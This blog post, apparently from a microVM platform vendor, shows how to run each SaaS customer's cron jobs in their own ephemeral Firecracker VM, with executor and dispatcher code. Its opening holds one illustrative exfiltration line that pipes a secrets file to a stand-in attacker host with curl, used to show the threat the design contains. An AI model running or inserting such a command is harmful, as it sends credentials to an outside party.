Per-Customer Cron Jobs with microVM Isolation

Sooner or later, a customer asks your SaaS for scheduled jobs. "Let me run my own script every night." "Fire this webhook at 6am." "Regenerate my report every hour." It's a great feature — it makes your product sticky and turns you into infrastructure. It's also the moment you invite thousands of strangers to run arbitrary code on your servers, on a timer, unattended, at 3am, while you sleep. The naive version — a shared worker process pulling jobs off a queue and running each tenant's code inline — works beautifully in the demo and terribly the first time one tenant's job has a memory leak, spins a busy loop, or does `while true; curl attacker.com < /etc/secrets`.

I'm Ajay — I build PandaStack, a Firecracker microVM platform — so I spend a lot of time thinking about exactly where the blast radius of "run this customer's code" stops. This post is about running per-customer scheduled jobs so that one tenant's bad cron is contained to one tenant's bad cron: each scheduled run gets its own ephemeral microVM, executes with only that tenant's scoped secrets, and is destroyed when it finishes. No warm shared worker, no shared kernel, no shared blast radius.

The shared-worker trap

The default architecture is a fleet of worker processes and a scheduler that dispatches due jobs to them. It's simple and it's fast. It also quietly assumes every job is a good citizen, which is exactly the assumption tenant-supplied code exists to violate. Three failure modes show up in production, and they show up together on your worst day:

• Noisy neighbor — a tenant's job allocates 40GB, forks a thousand children, or pegs every core. On a shared worker, its cgroup limits help but leak at the kernel level (page-cache thrash, lock contention, a fork storm), so every other tenant's job on that box slows down or gets OOM-killed alongside it.
• Blast radius — the job is tenant-authored code you never reviewed. A container escape, a dependency with a post-install hook, or a plain `os.environ` dump reaches the shared worker's process — and with it, every other tenant's secrets, the queue credentials, and the host.
• Secret bleed — the classic shortcut is loading all integrations into the worker's environment and letting each job read what it needs. Now tenant A's job runs in a process that also holds tenant B's Stripe key. One misbehaving job and you've exfiltrated the whole customer base.

The fix: one scheduled run, one ephemeral microVM

Move the boundary down to hardware. When a job is due, create a fresh Firecracker microVM, inject only that tenant's scoped secrets, run their code with a hard timeout, capture the output, and destroy the VM. The next run — even for the same tenant — starts from a clean, baked snapshot. Nothing survives between runs except the artifacts you explicitly read back out. Each microVM has its own guest kernel under KVM hardware virtualization, so the escape surface is a tiny set of emulated virtio devices, not the full Linux syscall table a container sees. This is the same isolation model AWS Lambda uses to run untrusted code from thousands of customers on shared fleets.

Here's the executor a scheduler calls when a job fires. Note what the tenant's code can and cannot see: it gets its own scoped secrets written into the guest, and nothing else. The `with` block destroys the VM on exit, so a job that hangs, panics, or tries to linger is gone the moment `exec` returns or the TTL reaps it.

from pandastack import Sandbox

def run_scheduled_job(tenant_id: str, script: str, secrets: dict) -> dict:
    """Run one tenant's due cron job in its own throwaway microVM."""
    # Fresh VM per run. No shared kernel, no state from the last run.
    with Sandbox.create(
        template="code-interpreter",
        ttl_seconds=300,                    # hard backstop: a wedged job reaps itself
        metadata={"tenant_id": tenant_id, "kind": "cron"},
    ) as sbx:
        # Inject ONLY this tenant's scoped secrets, as files in the guest.
        # tenant A's VM never holds tenant B's keys.
        for name, value in secrets.items():
            sbx.filesystem.write(f"/run/secrets/{name}", value)

        sbx.filesystem.write("/workspace/job.py", script)
        result = sbx.exec(
            "python3 /workspace/job.py",
            timeout_seconds=120,             # circuit breaker for runaway code
        )
        return {
            "tenant": tenant_id,
            "exit_code": result.exit_code,
            "stdout": result.stdout[-8000:],  # tail; don't let a log-bomb OOM you
            "stderr": result.stderr[-8000:],
        }
    # VM (and every secret, temp file, and child process) is gone here

Tag the sandbox with `metadata={"tenant_id": ...}` so your audit log and usage billing can attribute every run to a tenant. Always set both `timeout_seconds` on the exec and `ttl_seconds` on create — the first bounds the code, the second bounds the VM, and you want both because a job can wedge in ways `exec` doesn't catch (a detached child, a blocked syscall). Truncate the captured output too; "my cron printed a 2GB log" should degrade to a truncated log, not an OOM on your executor.

"But booting a VM per run is too slow"

This is the reflexive objection, and it used to be correct — nobody wants to pay a multi-second VM boot for a job that runs every minute. The reason per-run VM isolation is practical now is snapshot-restore: instead of cold-booting a kernel, every create restores a baked snapshot of an already-booted machine. The restore step is around 49ms; an end-to-end create is p50 179ms and p99 about 203ms. A true cold boot — around 3s — happens only on the very first spawn of a template, after which every create takes the fast path. So the isolation you'd want for untrusted code stops costing what it historically cost.

For jobs that need a specific pre-warmed state — a heavy dependency graph, a loaded model, a configured runtime — snapshot one set-up VM once and fork it per run instead of re-installing every time. A same-host fork is 400–750ms and shares the parent's memory copy-on-write, so a hundred forks off one warm parent don't cost a hundred full copies of RAM; a cross-host fork is 1.2–3.5s. The point isn't that any single number is magic — it's that per-run isolation now lands in the same latency bracket as dispatching to a warm worker, without the shared blast radius that made the warm worker cheap.

Warm pool vs. microVM-per-run

It's worth being concrete about the trade you're making, because "fresh VM per run" is not free and a warm pool is not evil. The right answer depends on whether the code you're scheduling is yours or your customers':

• Startup cost — Warm pool: near-zero, the process is already running. microVM-per-run: a p50 179ms create (or a 400–750ms fork from a warm parent), which is real but bounded and predictable.
• Noisy neighbor — Warm pool: cgroups leak at the kernel level, so one job's fork storm or memory blowup degrades its neighbors on the box. microVM-per-run: each job has its own guest kernel and its own RAM/CPU under hardware virtualization; a runaway is contained to its own VM.
• Blast radius — Warm pool: a container escape or a malicious dependency reaches the shared worker and every tenant's secrets in it. microVM-per-run: the escape surface is a handful of virtio devices; a compromised run is confined to one disposable machine that's about to be deleted anyway.
• Secret scoping — Warm pool: temptation is to load all tenants' secrets into the worker's env. microVM-per-run: each VM gets exactly one tenant's secrets and nothing else, so there's nothing to bleed.
• State between runs — Warm pool: leftover globals, temp files, and open sockets from the previous tenant's job can leak into the next. microVM-per-run: every run starts from the same clean snapshot; nothing carries over.
• Idle cost — Warm pool: you pay for the pool 24/7 whether jobs are running or not. microVM-per-run: you create on demand and delete on completion, so an idle schedule costs essentially nothing.

If the scheduled code is your own trusted first-party code, a warm worker pool is genuinely simpler and cheaper — reach for a VM only when you need the boundary. The moment the code is customer-authored, the calculus flips: the warm pool's cheapness comes entirely from sharing the exact things you must not share across tenants.

Wiring it into your scheduler

The microVM is the executor, not the scheduler. You still own "which jobs are due right now" — that's a cron-expression evaluation over your tenants' schedules, and any battle-tested cron library or a simple `SELECT ... WHERE next_run_at <= now()` loop does the job. The pattern is: a lightweight dispatcher wakes on a tick, finds due jobs, and hands each one to the per-run executor above (ideally on a worker queue so a burst of 9am jobs fans out concurrently). A minimal crontab-style dispatcher looks like this:

#!/usr/bin/env bash
# Dispatcher tick: find every tenant job that's due and hand each to the
# per-run executor. Runs once a minute from a plain system crontab entry:
#   * * * * * /opt/scheduler/dispatch.sh >> /var/log/dispatch.log 2>&1
set -euo pipefail

# Ask the control plane for jobs whose next_run_at has passed.
due=$(curl -sS "$SCHEDULER_API/jobs/due" \
  -H "Authorization: Bearer $INTERNAL_TOKEN")

# Enqueue each due job; the queue worker calls run_scheduled_job() per job,
# which spins up one microVM, runs it, and tears it down.
echo "$due" | jq -c '.jobs[]' | while read -r job; do
  tenant=$(echo "$job" | jq -r '.tenant_id')
  job_id=$(echo "$job" | jq -r '.id')
  echo "dispatching job=$job_id tenant=$tenant"
  enqueue-run --job "$job_id" --tenant "$tenant"   # one microVM per run
done

Keep the dispatcher dumb and the executor isolated: the dispatcher only decides what's due and enqueues it; the queue worker is what actually creates a VM per run. That separation means a slow or hostile job can never back up the tick — the dispatcher has already moved on, and the job's badness is quarantined in its own VM with its own timeout. Record each run's exit code, truncated output, and duration against the tenant so customers get a real run history and you get an audit trail.

Scaling to thousands of schedules

The scary-sounding number is "we have 10,000 customers with nightly jobs." The reassuring reality is that scheduled jobs are almost never all due at once, and even when they cluster (everyone loves `0 0 * * *`), each run is short-lived. The binding constraint is host memory and CPU while jobs are actually executing, not the count of schedules sitting in a table. A couple of things make the fan-out tractable:

• Networking is not the bottleneck — a PandaStack agent pre-allocates 16,384 /30 subnets, so every concurrently-running job VM gets its own network namespace without allocation cost. You run out of RAM long before you run out of subnets.
• Idle schedules are free — because you create a VM only when a job actually fires and destroy it when it finishes, ten thousand mostly-idle schedules cost nothing between runs. You pay for concurrent execution, not for the size of the schedule table.
• Smooth the thundering herd — jitter the midnight spike (dispatch a `0 0 * * *` job at a random offset within its window) so 5,000 jobs don't all demand a VM in the same second; the fan-out then rides your normal create throughput.
• Fork for shared baselines — when many tenants run the same job template with different inputs, fork from one warm snapshot per template instead of re-provisioning, so the per-run cost is a copy-on-write fork rather than a fresh setup.

The mental shift is the same one that makes serverless cheap, applied to the isolation boundary: you stop paying for every tenant's peak all the time and start paying only for the work that's actually running. A microVM that isn't executing anything can be deleted, and recreated in well under 200ms when the next tick needs it.

Wrapping up

Per-customer scheduled jobs are a feature your customers will love and a liability your architecture will hate — unless you draw the boundary in the right place. A shared worker makes tenant code cheap by sharing a kernel, a process, and a bag of everyone's secrets; that's exactly the sharing that turns one bad cron into an all-hands incident. Push each run down into its own ephemeral Firecracker microVM with only that tenant's scoped secrets, lean on snapshot-restore so the isolation doesn't cost you the latency it used to, and let the VM's destruction be your cleanup. Then the worst a customer's runaway 3am cron can do is ruin its own run — not page your entire on-call.